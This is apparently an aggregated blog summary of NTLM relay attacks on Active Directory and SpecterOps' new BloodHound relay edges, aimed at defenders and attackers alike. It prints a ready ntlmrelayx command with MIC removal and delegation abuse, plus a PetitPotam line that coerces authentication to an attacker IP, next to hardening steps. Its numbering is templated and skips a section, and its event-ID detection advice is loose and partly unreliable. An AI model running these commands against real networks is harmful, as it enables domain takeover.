NTLM relay attacks remain a significant threat to Active Directory (AD) environments, offering attackers a straightforward path to compromise networks. SpecterOps has integrated new NTLM relay edges into BloodHound, enhancing its capability to visualize and mitigate such attacks. This article explores the mechanics of NTLM relay attacks, their evolution, and how BloodHound helps defenders and attackers alike.
Read the full article here: https://ghst.ly/4lv3E31
You Should Know: Practical Exploitation and Defense
1. Understanding NTLM Relay Attacks
NTLM (NT LAN Manager) relay attacks exploit authentication protocols to impersonate users and escalate privileges. Attackers intercept NTLM authentication attempts and relay them to other systems, gaining unauthorized access.
- Key Commands and Tools for NTLM Relay Attacks
Attacker Setup (Kali Linux)
Install Impacket for NTLM relay sudo apt-get install impacket-scripts Start an NTLM relay attack ntlmrelayx.py -t ldap://<TARGET_DC_IP> -smb2support --remove-mic --delegate-access
Forcing Authentication (From Compromised Host)
Using PetitPotam to coerce authentication python3 PetitPotam.py <ATTACKER_IP> <TARGET_HOST>
Defensive Measures
Disable NTLM via GPO (Group Policy) gpedit.msc → Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → "Network security: Restrict NTLM: NTLM authentication in this domain" Enable SMB Signing (Mitigation) reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v RequireSecuritySignature /t REG_DWORD /d 1 /f
3. BloodHound Integration
SpecterOps has added NTLM relay edges to BloodHound, enabling defenders to visualize attack paths.
Ingest data into BloodHound bloodhound-python -d <DOMAIN> -u <USER> -p <PASSWORD> -ns <DC_IP> -c All
4. Detecting NTLM Relay Attacks
Monitor Event IDs for suspicious activity (Windows Event Log) Event ID 4624 (Successful Login) + Event ID 4768 (Kerberos TGT Request)
What Undercode Say
NTLM relay attacks continue to evolve, leveraging weaknesses in legacy authentication protocols. Defenders must enforce modern security practices like disabling NTLM, enabling SMB signing, and monitoring authentication logs. Attackers benefit from tools like `ntlmrelayx` and PetitPotam, but BloodHound’s new features provide critical visibility into these attack paths.
Expected Output:
- Successful NTLM relay leads to domain compromise.
- BloodHound visualizes attack paths for remediation.
- Defenders should prioritize disabling NTLM and enforcing Kerberos.
Prediction:
As organizations slowly phase out NTLM, attackers will shift to exploiting misconfigured Kerberos deployments, making AD hardening an ongoing battle.
References:
Reported By: Daniel Scheidt – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
